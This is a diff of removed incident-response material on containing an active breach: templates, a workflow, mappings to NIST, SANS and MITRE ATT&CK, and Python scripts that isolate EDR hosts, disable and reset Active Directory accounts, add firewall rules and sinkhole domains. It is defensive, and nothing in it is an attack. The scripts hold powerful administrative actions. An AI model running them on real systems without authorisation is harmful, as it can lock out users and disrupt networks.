| PCAP | | | | |
| NetFlow | | | | |
## Containment Verification
### Verification Checks
- [ ] No active C2 communications detected post-containment
- [ ] No new lateral movement attempts observed
- [ ] All compromised accounts confirmed disabled
- [ ] Isolated systems confirmed unreachable from network
- [ ] Business-critical services tested and operational
- [ ] Enhanced monitoring deployed on adjacent systems
### Monitoring Status
| Monitor Type | Scope | Status | Alert Threshold |
|-------------|-------|--------|----------------|
| Network traffic | Compromised segments | Active/Pending | |
| EDR alerts | All endpoints | Active/Pending | |
| Authentication logs | Domain-wide | Active/Pending | |
| Data loss prevention | Sensitive repositories | Active/Pending | |
## Business Impact Assessment
| Service/System | Impact Level | Workaround Available | Estimated Restore |
|---------------|-------------|---------------------|-------------------|
| | | | |
## Next Steps
1. [ ] Complete forensic imaging of all compromised systems
2. [ ] Begin eradication phase - remove attacker persistence
3. [ ] Conduct root cause analysis
4. [ ] Prepare for recovery phase
5. [ ] Schedule stakeholder briefing
## Approvals
| Role | Name | Signature | Date |
|------|------|-----------|------|
| Incident Commander | | | |
| CISO | | | |
| IT Director | | | |
| Legal Counsel | | | |
@@ -1,41 +0,0 @@
# Active Security Breach Containment — API Reference
## Libraries
| Library | Install | Purpose |
|---------|---------|---------|
| requests | `pip install requests` | EDR API calls for host isolation |
| falconpy | `pip install crowdstrike-falconpy` | CrowdStrike Falcon SDK |
| ldap3 | `pip install ldap3` | AD account disable via LDAP |
## CrowdStrike Falcon Host Isolation
```python
from falconpy import Hosts
hosts = Hosts(client_id="ID", client_secret="SECRET")
hosts.perform_action(action_name="contain", ids=["device_id"])
```
## Containment Actions
| Action | Method | Scope |
|--------|--------|-------|
| Host Isolation | EDR API (CrowdStrike, Defender) | Single endpoint |
| Account Disable | `Disable-ADAccount` / LDAP | User identity |
| IP Block | Firewall rule / NGFW API | Network perimeter |
| Session Revoke | `Revoke-AzureADUserAllRefreshToken` | Cloud sessions |
| Token Invalidation | IdP API | OAuth/SAML tokens |
## NIST IR Phases
| Phase | Actions |
|-------|---------|
| Containment | Isolate, disable, block |
| Eradication | Remove malware, patch vulnerabilities |
| Recovery | Restore, validate, monitor |
## External References
- [CrowdStrike Falcon API](https://falcon.crowdstrike.com/documentation/page/a2a7fc0e/host-and-host-group-management-apis)
- [NIST SP 800-61 Rev 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final)
- [SANS IR Playbook](https://www.sans.org/white-papers/33901/)
@@ -1,66 +0,0 @@
# Standards and Framework References
## NIST SP 800-61 Rev. 3 - Incident Response Recommendations
- **Respond (RS) Function**: Containment falls under RS.MI (Incident Mitigation)
- RS.MI-01: Incidents are contained
- RS.MI-02: Incidents are eradicated
- **Detect (DE) Function**: Scope identification maps to DE.AE (Adverse Event Analysis)
- DE.AE-02: Potentially adverse events are analyzed to better understand associated activities
- DE.AE-03: Information is correlated from multiple sources
- Reference: https://csrc.nist.gov/pubs/sp/800/61/r3/final
## NIST SP 800-61 Rev. 2 - Computer Security Incident Handling Guide
- **Section 3.3**: Containment, Eradication, and Recovery
- 3.3.1: Choosing a Containment Strategy
- 3.3.2: Evidence Gathering and Handling
- 3.3.3: Identifying the Attacking Hosts
- Containment strategy criteria: potential damage, evidence preservation needs, service availability, time/resources, effectiveness duration, solution scope
- Reference: https://csrc.nist.gov/pubs/sp/800/61/r2/final
## SANS PICERL Framework
- **Phase 3 - Containment**: The SANS Incident Handler's Handbook defines containment as actions to limit damage from an incident
- Short-term containment: Immediate response to stop the bleeding
- System back-up: Forensic image before remediation
- Long-term containment: Temporary fixes allowing production use
- Reference: https://www.sans.org/white-papers/33901
## MITRE ATT&CK Framework - Relevant Techniques to Contain
### Initial Access (TA0001)
| Technique ID | Name | Containment Action |
|-------------|------|-------------------|
| T1566 | Phishing | Block sender, quarantine messages |
| T1190 | Exploit Public-Facing Application | Patch/WAF rule, isolate service |
| T1133 | External Remote Services | Disable VPN/RDP access |
| T1078 | Valid Accounts | Disable/reset compromised accounts |
### Lateral Movement (TA0008)
| Technique ID | Name | Containment Action |
|-------------|------|-------------------|
| T1021 | Remote Services | Block SMB/RDP/WinRM between segments |
| T1550 | Use Alternate Authentication Material | Reset tokens, rotate KRBTGT |
| T1570 | Lateral Tool Transfer | Block file sharing protocols |
### Command and Control (TA0011)
| Technique ID | Name | Containment Action |
|-------------|------|-------------------|
| T1071 | Application Layer Protocol | Block C2 domains/IPs at firewall |
| T1573 | Encrypted Channel | SSL inspection, block non-standard TLS |
| T1572 | Protocol Tunneling | Block DNS tunneling, inspect traffic |
### Exfiltration (TA0010)
| Technique ID | Name | Containment Action |
|-------------|------|-------------------|
| T1041 | Exfiltration Over C2 Channel | Sinkhole C2 domains |
| T1048 | Exfiltration Over Alternative Protocol | Block DNS/ICMP exfil |
| T1567 | Exfiltration Over Web Service | Block cloud storage uploads |
## CISA Incident Response Playbooks
- Federal Government Cybersecurity Incident and Vulnerability Response Playbooks
- Containment actions aligned with federal response guidelines
- Reference: https://www.cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf
## ISO/IEC 27035 - Information Security Incident Management
- Part 2: Guidelines to plan and prepare for incident response
- Containment classified as part of "Response" phase
- Emphasis on proportional response and business impact consideration
@@ -1,107 +0,0 @@
# Containing an Active Security Breach - Detailed Workflow
## Pre-Containment Decision Framework
### Containment Strategy Selection Matrix
| Factor | Low Impact | Medium Impact | High Impact |
|--------|-----------|---------------|-------------|
| Data sensitivity | Monitor and assess | Partial isolation | Full network isolation |
| Active exfiltration | Block egress IPs | Block + isolate segment | Air-gap + full isolation |
| Lateral movement | Enhanced monitoring | Segment isolation | Domain-wide lockdown |
| Business criticality | Targeted containment | Phased containment | Emergency containment with DR |
| Ransomware deployment | Isolate patient zero | Segment + block C2 | Enterprise-wide isolation |
## Step-by-Step Procedure
### Phase 1: Incident Validation (0-15 minutes)
1. Receive alert from SIEM/EDR/SOC analyst
2. Verify alert is true positive by correlating multiple data sources
3. Classify incident severity using organization's severity matrix
4. Activate incident response team based on severity level
5. Establish incident communication channel (war room or Slack/Teams channel)
6. Assign Incident Commander and document in ticketing system
### Phase 2: Scope Assessment (15-45 minutes)
1. Query SIEM for all related alerts in the past 72 hours
2. Identify all compromised hosts using EDR telemetry
3. Map network connections from compromised hosts to identify lateral movement
4. Check authentication logs for compromised account usage across systems
5. Identify affected data repositories and assess data classification
6. Document the attack timeline and current threat actor position
7. Determine the attack vector (how did they get in)
### Phase 3: Short-Term Containment (30-60 minutes)
1. **Network Level**:
- Block attacker external IPs at perimeter firewall
- Sinkhole C2 domains at DNS level
- Apply ACLs to isolate compromised network segments
- Enable enhanced packet capture on affected segments
2. **Endpoint Level**:
- Network-contain compromised hosts via EDR
- Disable compromised user accounts in Active Directory
- Revoke OAuth tokens and API keys
- Kill malicious processes identified by EDR
3. **Identity Level**:
- Force password reset on compromised accounts
- Disable MFA bypass methods used by attacker
- Revoke VPN certificates for compromised users
- Block compromised service account authentication
### Phase 4: Evidence Preservation (During Containment)
1. Capture live memory from key compromised systems before full isolation
2. Export relevant SIEM logs to secure evidence storage
3. Take forensic disk images of critical compromised systems
4. Preserve network capture data (PCAP) from affected segments
5. Screenshot active sessions and running process trees
6. Hash all evidence files and create chain of custody documentation
### Phase 5: Long-Term Containment (1-24 hours)
1. Implement network microsegmentation around affected areas
2. Deploy additional monitoring sensors in compromised zones
3. Set up honeypots to detect continued attacker activity
4. Apply temporary firewall rules with logging for affected segments
5. Enable enhanced audit logging on systems adjacent to compromise
6. Implement file integrity monitoring on critical systems
7. Set up network traffic baseline comparison
### Phase 6: Containment Verification (Ongoing)
1. Monitor for new alerts from previously compromised systems
2. Verify no new C2 communications from any internal host
3. Check for new account creation or privilege escalation attempts
4. Validate that isolated systems cannot reach external networks
5. Test that critical business services remain functional
6. Brief stakeholders on containment status and next steps
## Escalation Criteria
- Containment fails (attacker regains access): Escalate to CISO, consider external IR firm
- Business-critical systems affected: Engage business continuity team
- Data exfiltration confirmed: Engage legal and compliance teams
- Nation-state indicators: Engage FBI/CISA
- Ransomware spreading despite containment: Consider full network shutdown
## Communication Templates
### Internal Escalation (Initial)
```
SUBJECT: [SEVERITY-CRITICAL] Active Security Breach - Containment in Progress
INCIDENT ID: IR-YYYY-NNN
TIME DETECTED: YYYY-MM-DD HH:MM UTC
CURRENT STATUS: Containment in progress
AFFECTED SYSTEMS: [count] hosts, [count] accounts
INCIDENT COMMANDER: [Name]
NEXT UPDATE: [time]
```
### Status Update (During Containment)
```
SUBJECT: [UPDATE] IR-YYYY-NNN - Containment Status
CONTAINMENT STATUS: [Partial/Complete/Pending]
SYSTEMS ISOLATED: [count]
ACCOUNTS DISABLED: [count]
C2 COMMUNICATIONS: [Blocked/Active/Unknown]
BUSINESS IMPACT: [Description]
NEXT STEPS: [Actions]
NEXT UPDATE: [time]
```
@@ -1,119 +0,0 @@
#!/usr/bin/env python3
"""Active security breach containment agent for automated response actions."""
import json
import sys
import argparse
import subprocess
from datetime import datetime
try:
import requests
except ImportError:
print("Install: pip install requests")
sys.exit(1)
def isolate_host_crowdstrike(api_base, api_token, device_id):
"""Isolate a compromised host via CrowdStrike Falcon API."""
headers = {"Authorization": f"Bearer {api_token}", "Content-Type": "application/json"}
resp = requests.post(f"{api_base}/devices/entities/devices-actions/v2",
params={"action_name": "contain"},
headers=headers,
json={"ids": [device_id]}, timeout=30)
return {"action": "host_isolation", "device_id": device_id,
"status": resp.status_code, "response": resp.json()}
def disable_ad_account(username, domain_controller):
"""Disable compromised AD account via PowerShell."""
cmd = ["powershell", "-Command",
f"Disable-ADAccount -Identity '{username}' -Server '{domain_controller}' -Confirm:$false"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=15)
return {"action": "disable_account", "username": username,
"status": "success" if result.returncode == 0 else "failed",
"output": result.stderr[:200] if result.stderr else ""}
except (FileNotFoundError, subprocess.TimeoutExpired) as e:
return {"action": "disable_account", "status": "error", "error": str(e)}
def block_ip_firewall(ip_address):
"""Block attacker IP on network firewall."""
cmd = ["powershell", "-Command",
f"New-NetFirewallRule -DisplayName 'IR-Block-{ip_address}' -Direction Inbound "
f"-Action Block -RemoteAddress '{ip_address}' -Profile Any"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=15)
return {"action": "block_ip", "ip": ip_address,
"status": "success" if result.returncode == 0 else "failed"}
except (FileNotFoundError, subprocess.TimeoutExpired) as e:
return {"action": "block_ip", "status": "error", "error": str(e)}
def generate_containment_checklist(incident_type):
"""Generate containment checklist based on incident type."""
checklists = {
"ransomware": [
{"step": 1, "action": "Isolate affected hosts from network", "priority": "CRITICAL"},
{"step": 2, "action": "Disable compromised user accounts", "priority": "CRITICAL"},
{"step": 3, "action": "Block C2 IPs and domains at firewall", "priority": "HIGH"},
{"step": 4, "action": "Preserve forensic evidence before reimaging", "priority": "HIGH"},
{"step": 5, "action": "Reset Kerberos KRBTGT password twice", "priority": "HIGH"},
{"step": 6, "action": "Revoke active VPN and remote access sessions", "priority": "HIGH"},
{"step": 7, "action": "Notify legal and executive leadership", "priority": "MEDIUM"},
],
"data_breach": [
{"step": 1, "action": "Identify and isolate exfiltration channel", "priority": "CRITICAL"},
{"step": 2, "action": "Revoke compromised API keys and tokens", "priority": "CRITICAL"},
{"step": 3, "action": "Block external IPs involved in exfiltration", "priority": "HIGH"},
{"step": 4, "action": "Preserve logs and network captures", "priority": "HIGH"},
{"step": 5, "action": "Assess scope of data exposed", "priority": "HIGH"},
{"step": 6, "action": "Engage legal for breach notification requirements", "priority": "MEDIUM"},
],
"account_compromise": [
{"step": 1, "action": "Disable compromised accounts immediately", "priority": "CRITICAL"},
{"step": 2, "action": "Revoke all active sessions and tokens", "priority": "CRITICAL"},
{"step": 3, "action": "Reset passwords and MFA enrollments", "priority": "HIGH"},
{"step": 4, "action": "Review recent account activity and access logs", "priority": "HIGH"},
{"step": 5, "action": "Check for persistence mechanisms (forwarding rules, OAuth apps)", "priority": "HIGH"},
],
}
return checklists.get(incident_type, checklists["ransomware"])
def run_containment(incident_type="ransomware"):
"""Execute breach containment planning."""
print(f"\n{'='*60}")
print(f" ACTIVE BREACH CONTAINMENT")
print(f" Incident Type: {incident_type}")
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
print(f"{'='*60}\n")
checklist = generate_containment_checklist(incident_type)
print(f"--- CONTAINMENT CHECKLIST ---")
for item in checklist:
print(f" [{item['priority']}] Step {item['step']}: {item['action']}")
return {"incident_type": incident_type, "checklist": checklist}
def main():
parser = argparse.ArgumentParser(description="Breach Containment Agent")
parser.add_argument("--incident-type", choices=["ransomware", "data_breach", "account_compromise"],
default="ransomware", help="Type of incident")
parser.add_argument("--isolate-host", help="CrowdStrike device ID to isolate")
parser.add_argument("--disable-account", help="AD username to disable")
parser.add_argument("--block-ip", help="Attacker IP to block")
parser.add_argument("--output", help="Save report to JSON file")
args = parser.parse_args()
report = run_containment(args.incident_type)
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"\n[+] Report saved to {args.output}")
if __name__ == "__main__":
main()
@@ -1,517 +0,0 @@
#!/usr/bin/env python3
"""
Active Security Breach Containment Automation Script
Automates containment actions during an active security breach:
- Queries SIEM for scope assessment
- Isolates endpoints via EDR API
- Blocks IPs/domains at firewall
- Disables compromised AD accounts
- Generates containment action log
Requirements:
pip install requests ldap3 python-dateutil pyyaml
"""
import argparse
import csv
import hashlib
import json
import logging
import os
import socket
import subprocess
import sys
from datetime import datetime, timezone
from pathlib import Path
from typing import Optional
try:
import requests
except ImportError:
print("Install requests: pip install requests")
sys.exit(1)
try:
from ldap3 import Server, Connection, MODIFY_REPLACE, ALL
except ImportError:
ldap3_available = False
else:
ldap3_available = True
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler(f"containment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"),
],
)
logger = logging.getLogger("breach_containment")
class ContainmentActionLog:
"""Tracks all containment actions with timestamps for audit trail."""
def __init__(self, incident_id: str):
self.incident_id = incident_id
self.actions = []
self.start_time = datetime.now(timezone.utc)
def log_action(self, action_type: str, target: str, result: str, details: str = ""):
entry = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"incident_id": self.incident_id,
"action_type": action_type,
"target": target,
"result": result,
"details": details,
"operator": os.getenv("USERNAME", os.getenv("USER", "unknown")),
}
self.actions.append(entry)
logger.info(f"[{action_type}] {target}: {result} - {details}")
def export_csv(self, filepath: str):
if not self.actions:
logger.warning("No actions to export")
return
with open(filepath, "w", newline="") as f:
writer = csv.DictWriter(f, fieldnames=self.actions[0].keys())
writer.writeheader()
writer.writerows(self.actions)
logger.info(f"Containment log exported to {filepath}")
def export_json(self, filepath: str):
report = {
"incident_id": self.incident_id,
"containment_start": self.start_time.isoformat(),
"containment_end": datetime.now(timezone.utc).isoformat(),
"total_actions": len(self.actions),
"actions": self.actions,
}
with open(filepath, "w") as f:
json.dump(report, f, indent=2)
logger.info(f"Containment report exported to {filepath}")
class CrowdStrikeContainment:
"""CrowdStrike Falcon endpoint containment via API."""
def __init__(self, client_id: str, client_secret: str, base_url: str = "https://api.crowdstrike.com"):
self.base_url = base_url
self.client_id = client_id
self.client_secret = client_secret
self.token = None
def authenticate(self):
resp = requests.post(
f"{self.base_url}/oauth2/token",
data={"client_id": self.client_id, "client_secret": self.client_secret},
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
resp.raise_for_status()
self.token = resp.json()["access_token"]
logger.info("Authenticated to CrowdStrike Falcon API")
def _headers(self):
return {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"}
def get_device_id_by_hostname(self, hostname: str) -> Optional[str]:
resp = requests.get(
f"{self.base_url}/devices/queries/devices/v1",
headers=self._headers(),
params={"filter": f"hostname:'{hostname}'"},
)
resp.raise_for_status()
resources = resp.json().get("resources", [])
return resources[0] if resources else None
def contain_host(self, device_id: str) -> dict:
resp = requests.post(
f"{self.base_url}/devices/entities/devices-actions/v2",
headers=self._headers(),
params={"action_name": "contain"},
json={"ids": [device_id]},
)
resp.raise_for_status()
return resp.json()
def lift_containment(self, device_id: str) -> dict:
resp = requests.post(
f"{self.base_url}/devices/entities/devices-actions/v2",
headers=self._headers(),
params={"action_name": "lift_containment"},
json={"ids": [device_id]},
)
resp.raise_for_status()
return resp.json()
def get_detections(self, severity: str = "Critical") -> list:
resp = requests.get(
f"{self.base_url}/detects/queries/detects/v1",
headers=self._headers(),
params={"filter": f"max_severity_displayname:'{severity}'+status:'new'", "limit": 100},
)
resp.raise_for_status()
return resp.json().get("resources", [])
class SentinelOneContainment:
"""SentinelOne endpoint containment via API."""
def __init__(self, api_token: str, base_url: str):
self.base_url = base_url
self.api_token = api_token
def _headers(self):
return {"Authorization": f"ApiToken {self.api_token}", "Content-Type": "application/json"}
def disconnect_agent(self, agent_id: str) -> dict:
resp = requests.post(
f"{self.base_url}/web/api/v2.1/agents/actions/disconnect",
headers=self._headers(),
json={"filter": {"ids": [agent_id]}, "data": {}},
)
resp.raise_for_status()
return resp.json()
def reconnect_agent(self, agent_id: str) -> dict:
resp = requests.post(
f"{self.base_url}/web/api/v2.1/agents/actions/connect",
headers=self._headers(),
json={"filter": {"ids": [agent_id]}, "data": {}},
)
resp.raise_for_status()
return resp.json()
class ActiveDirectoryContainment:
"""Active Directory account containment via LDAP."""
def __init__(self, server_addr: str, domain: str, username: str, password: str):
if not ldap3_available:
raise ImportError("ldap3 package required: pip install ldap3")
self.server = Server(server_addr, get_info=ALL)
self.domain = domain
self.conn = Connection(self.server, user=f"{domain}\\{username}", password=password, auto_bind=True)
def disable_account(self, sam_account_name: str) -> bool:
search_base = ",".join([f"DC={part}" for part in self.domain.split(".")])
self.conn.search(
search_base,
f"(sAMAccountName={sam_account_name})",
attributes=["userAccountControl", "distinguishedName"],
)
if not self.conn.entries:
logger.warning(f"Account {sam_account_name} not found in AD")
return False
dn = self.conn.entries[0].distinguishedName.value
current_uac = int(self.conn.entries[0].userAccountControl.value)
# Set ACCOUNTDISABLE flag (bit 1, value 2)
new_uac = current_uac | 0x0002
self.conn.modify(dn, {"userAccountControl": [(MODIFY_REPLACE, [str(new_uac)])]})
logger.info(f"Disabled AD account: {sam_account_name}")
return True
def reset_password(self, sam_account_name: str, new_password: str) -> bool:
search_base = ",".join([f"DC={part}" for part in self.domain.split(".")])
self.conn.search(search_base, f"(sAMAccountName={sam_account_name})", attributes=["distinguishedName"])
if not self.conn.entries:
return False
dn = self.conn.entries[0].distinguishedName.value
encoded_pw = f'"{new_password}"'.encode("utf-16-le")
self.conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, [encoded_pw])]})
logger.info(f"Reset password for AD account: {sam_account_name}")
return True
class FirewallContainment:
"""Block IPs and domains at network perimeter."""
@staticmethod
def block_ips_iptables(ip_list: list, chain: str = "INPUT") -> list:
results = []
for ip in ip_list:
try:
cmd = ["iptables", "-A", chain, "-s", ip, "-j", "DROP"]
subprocess.run(cmd, capture_output=True, text=True, check=True)
cmd_out = ["iptables", "-A", "OUTPUT", "-d", ip, "-j", "DROP"]
subprocess.run(cmd_out, capture_output=True, text=True, check=True)
results.append({"ip": ip, "status": "blocked", "method": "iptables"})
logger.info(f"Blocked IP via iptables: {ip}")
except subprocess.CalledProcessError as e:
results.append({"ip": ip, "status": "failed", "error": str(e)})
logger.error(f"Failed to block IP {ip}: {e}")
return results
@staticmethod
def block_ips_windows_firewall(ip_list: list) -> list:
results = []
for ip in ip_list:
try:
rule_name = f"IR_Block_{ip.replace('.', '_')}"
cmd = [
"netsh", "advfirewall", "firewall", "add", "rule",
f"name={rule_name}", "dir=in", "action=block",
f"remoteip={ip}", "protocol=any",
]
subprocess.run(cmd, capture_output=True, text=True, check=True)
cmd_out = [
"netsh", "advfirewall", "firewall", "add", "rule",
f"name={rule_name}_out", "dir=out", "action=block",
f"remoteip={ip}", "protocol=any",
]
subprocess.run(cmd_out, capture_output=True, text=True, check=True)
results.append({"ip": ip, "status": "blocked", "method": "windows_firewall"})
logger.info(f"Blocked IP via Windows Firewall: {ip}")
except subprocess.CalledProcessError as e:
results.append({"ip": ip, "status": "failed", "error": str(e)})
logger.error(f"Failed to block IP {ip}: {e}")
return results
@staticmethod
def block_domains_hosts_file(domain_list: list) -> list:
results = []
hosts_path = r"C:\Windows\System32\drivers\etc\hosts" if os.name == "nt" else "/etc/hosts"
try:
with open(hosts_path, "a") as f:
for domain in domain_list:
f.write(f"\n0.0.0.0 {domain} # IR Containment Block")
results.append({"domain": domain, "status": "sinkholed", "method": "hosts_file"})
logger.info(f"Sinkholed domain: {domain}")
except PermissionError:
logger.error("Insufficient permissions to modify hosts file. Run as administrator.")
for domain in domain_list:
results.append({"domain": domain, "status": "failed", "error": "permission_denied"})
return results
class SplunkScopeAssessment:
"""Query Splunk SIEM for incident scope assessment."""
def __init__(self, base_url: str, token: str):
self.base_url = base_url
self.token = token
def _headers(self):
return {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"}
def search(self, query: str, earliest: str = "-24h", latest: str = "now") -> dict:
resp = requests.post(
f"{self.base_url}/services/search/jobs",
headers=self._headers(),
data={
"search": f"search {query}",
"earliest_time": earliest,
"latest_time": latest,
"output_mode": "json",
},
verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
)
resp.raise_for_status()
return resp.json()
def find_related_hosts(self, attacker_ip: str) -> dict:
query = f"""index=security (src_ip="{attacker_ip}" OR dest_ip="{attacker_ip}")
| stats count values(dest_ip) as targets values(src_ip) as sources by sourcetype
| sort -count"""
return self.search(query)
def find_compromised_accounts(self, host_list: list) -> dict:
hosts_filter = " OR ".join([f'src="{h}"' for h in host_list])
query = f"""index=security EventCode=4624 ({hosts_filter})
| stats count values(src) as source_hosts by Account_Name, Logon_Type
| where Logon_Type IN ("3","10")
| sort -count"""
return self.search(query)
def collect_volatile_evidence(output_dir: str) -> dict:
"""Collect volatile evidence from current system before containment."""
os.makedirs(output_dir, exist_ok=True)
evidence = {}
# Network connections
try:
if os.name == "nt":
result = subprocess.run(["netstat", "-anob"], capture_output=True, text=True)
else:
result = subprocess.run(["ss", "-tulnp"], capture_output=True, text=True)
netconn_file = os.path.join(output_dir, "network_connections.txt")
with open(netconn_file, "w") as f:
f.write(result.stdout)
evidence["network_connections"] = {
"file": netconn_file,
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
}
except Exception as e:
logger.error(f"Failed to collect network connections: {e}")
# Running processes
try:
if os.name == "nt":
result = subprocess.run(["tasklist", "/V", "/FO", "CSV"], capture_output=True, text=True)
else:
result = subprocess.run(["ps", "auxwwf"], capture_output=True, text=True)
proc_file = os.path.join(output_dir, "running_processes.txt")
with open(proc_file, "w") as f:
f.write(result.stdout)
evidence["running_processes"] = {
"file": proc_file,
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
}
except Exception as e:
logger.error(f"Failed to collect process list: {e}")
# DNS cache
try:
if os.name == "nt":
result = subprocess.run(["ipconfig", "/displaydns"], capture_output=True, text=True)
else:
dns_cache_file = "/var/cache/nscd/hosts" if os.path.exists("/var/cache/nscd/hosts") else ""
result = subprocess.run(["cat", dns_cache_file], capture_output=True, text=True) if dns_cache_file else None
if result and result.stdout:
dns_file = os.path.join(output_dir, "dns_cache.txt")
with open(dns_file, "w") as f:
f.write(result.stdout)
evidence["dns_cache"] = {
"file": dns_file,
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
}
except Exception as e:
logger.error(f"Failed to collect DNS cache: {e}")
# ARP table
try:
result = subprocess.run(["arp", "-a"], capture_output=True, text=True)
arp_file = os.path.join(output_dir, "arp_table.txt")
with open(arp_file, "w") as f:
f.write(result.stdout)
evidence["arp_table"] = {
"file": arp_file,
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
}
except Exception as e:
logger.error(f"Failed to collect ARP table: {e}")
# Logged-in users
try:
if os.name == "nt":
result = subprocess.run(["query", "user"], capture_output=True, text=True)
else:
result = subprocess.run(["who"], capture_output=True, text=True)
users_file = os.path.join(output_dir, "logged_in_users.txt")
with open(users_file, "w") as f:
f.write(result.stdout)
evidence["logged_in_users"] = {
"file": users_file,
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
}
except Exception as e:
logger.error(f"Failed to collect logged-in users: {e}")
return evidence
def run_containment(args):
"""Execute the full containment workflow."""
action_log = ContainmentActionLog(args.incident_id)
logger.info(f"Starting containment for incident: {args.incident_id}")
# Step 1: Collect volatile evidence if requested
if args.collect_evidence:
evidence_dir = os.path.join(args.output_dir, "evidence", args.incident_id)
logger.info(f"Collecting volatile evidence to {evidence_dir}")
evidence = collect_volatile_evidence(evidence_dir)
for etype, edata in evidence.items():
action_log.log_action("evidence_collection", etype, "collected", f"SHA256: {edata['sha256']}")
# Step 2: Block IPs at firewall
if args.block_ips:
ip_list = [ip.strip() for ip in args.block_ips.split(",")]
logger.info(f"Blocking {len(ip_list)} IPs at firewall")
if os.name == "nt":
results = FirewallContainment.block_ips_windows_firewall(ip_list)
else:
results = FirewallContainment.block_ips_iptables(ip_list)
for r in results:
action_log.log_action("ip_block", r["ip"], r["status"], r.get("method", r.get("error", "")))
# Step 3: Block domains
if args.block_domains:
domain_list = [d.strip() for d in args.block_domains.split(",")]
logger.info(f"Sinkholing {len(domain_list)} domains")
results = FirewallContainment.block_domains_hosts_file(domain_list)
for r in results:
action_log.log_action("domain_block", r["domain"], r["status"], r.get("method", ""))
# Step 4: Isolate endpoints via CrowdStrike
if args.crowdstrike_isolate and args.cs_client_id and args.cs_client_secret:
cs = CrowdStrikeContainment(args.cs_client_id, args.cs_client_secret)
try:
cs.authenticate()
action_log.log_action("edr_auth", "crowdstrike", "success", "API authenticated")
hostnames = [h.strip() for h in args.crowdstrike_isolate.split(",")]
for hostname in hostnames:
device_id = cs.get_device_id_by_hostname(hostname)
if device_id:
cs.contain_host(device_id)
action_log.log_action("endpoint_isolation", hostname, "contained", f"Device ID: {device_id}")
else:
action_log.log_action("endpoint_isolation", hostname, "failed", "Device not found in Falcon")
except Exception as e:
action_log.log_action("edr_auth", "crowdstrike", "failed", str(e))
logger.error(f"CrowdStrike containment failed: {e}")
# Step 5: Disable AD accounts
if args.disable_accounts and args.ad_server and ldap3_available:
try:
ad = ActiveDirectoryContainment(
args.ad_server, args.ad_domain, args.ad_username, args.ad_password
)
accounts = [a.strip() for a in args.disable_accounts.split(",")]
for account in accounts:
result = ad.disable_account(account)
action_log.log_action(
"account_disable", account, "disabled" if result else "failed",
"AD account disabled" if result else "Account not found",
)
except Exception as e:
action_log.log_action("account_disable", "AD", "failed", str(e))
logger.error(f"AD containment failed: {e}")
# Export containment action log
os.makedirs(args.output_dir, exist_ok=True)
csv_path = os.path.join(args.output_dir, f"containment_log_{args.incident_id}.csv")
json_path = os.path.join(args.output_dir, f"containment_report_{args.incident_id}.json")
action_log.export_csv(csv_path)
action_log.export_json(json_path)
logger.info(f"Containment workflow completed for {args.incident_id}")
logger.info(f"Total actions taken: {len(action_log.actions)}")
return action_log
def main():
parser = argparse.ArgumentParser(description="Active Security Breach Containment Automation")
parser.add_argument("--incident-id", required=True, help="Incident tracking ID (e.g., IR-2024-001)")
parser.add_argument("--output-dir", default="./containment_output", help="Output directory for logs and reports")
parser.add_argument("--collect-evidence", action="store_true", help="Collect volatile evidence before containment")
parser.add_argument("--block-ips", help="Comma-separated list of IPs to block at firewall")
parser.add_argument("--block-domains", help="Comma-separated list of domains to sinkhole")
parser.add_argument("--crowdstrike-isolate", help="Comma-separated hostnames to isolate via CrowdStrike")
parser.add_argument("--cs-client-id", default=os.getenv("CS_CLIENT_ID"), help="CrowdStrike API client ID")
parser.add_argument("--cs-client-secret", default=os.getenv("CS_CLIENT_SECRET"), help="CrowdStrike API client secret")
parser.add_argument("--disable-accounts", help="Comma-separated AD accounts to disable")
parser.add_argument("--ad-server", default=os.getenv("AD_SERVER"), help="Active Directory server address")
parser.add_argument("--ad-domain", default=os.getenv("AD_DOMAIN"), help="Active Directory domain")
parser.add_argument("--ad-username", default=os.getenv("AD_USERNAME"), help="AD admin username")
parser.add_argument("--ad-password", default=os.getenv("AD_PASSWORD"), help="AD admin password")
args = parser.parse_args()
run_containment(args)
if __name__ == "__main__":
main()
@@ -15,6 +15,14 @@ license: Apache-2.0
Tailscale is a zero trust mesh VPN built on WireGuard that creates encrypted peer-to-peer connections between devices without requiring traditional VPN servers or complex network configuration. Every connection in a Tailscale network (tailnet) is end-to-end encrypted using WireGuard's Noise protocol framework with Curve25519 key exchange. Tailscale implements zero trust networking by authenticating every connection request through identity providers, enforcing granular Access Control Lists (ACLs), and supporting features like exit nodes, subnet routers, MagicDNS, and Tailscale SSH. For organizations preferring self-hosted infrastructure, Headscale provides an open-source implementation of the Tailscale control server.
## When to Use
- When deploying or configuring deploying tailscale for zero trust vpn capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Identity provider (Okta, Azure AD, Google Workspace, GitHub, or OIDC-compatible)
@@ -15,6 +15,14 @@ license: Apache-2.0
API enumeration attacks occur when attackers systematically probe API endpoints with sequential or predictable identifiers to discover and access unauthorized resources. Broken Object Level Authorization (BOLA), ranked as API1:2023 in the OWASP API Security Top 10, is the most critical API vulnerability. Attackers manipulate object identifiers (user IDs, order numbers, account references) in API requests to bypass authorization and access other users' data. Detection requires monitoring for patterns of rapid sequential access attempts, authorization failures, and abnormal API usage behavior.
## When to Use
- When investigating security incidents that require detecting api enumeration attacks
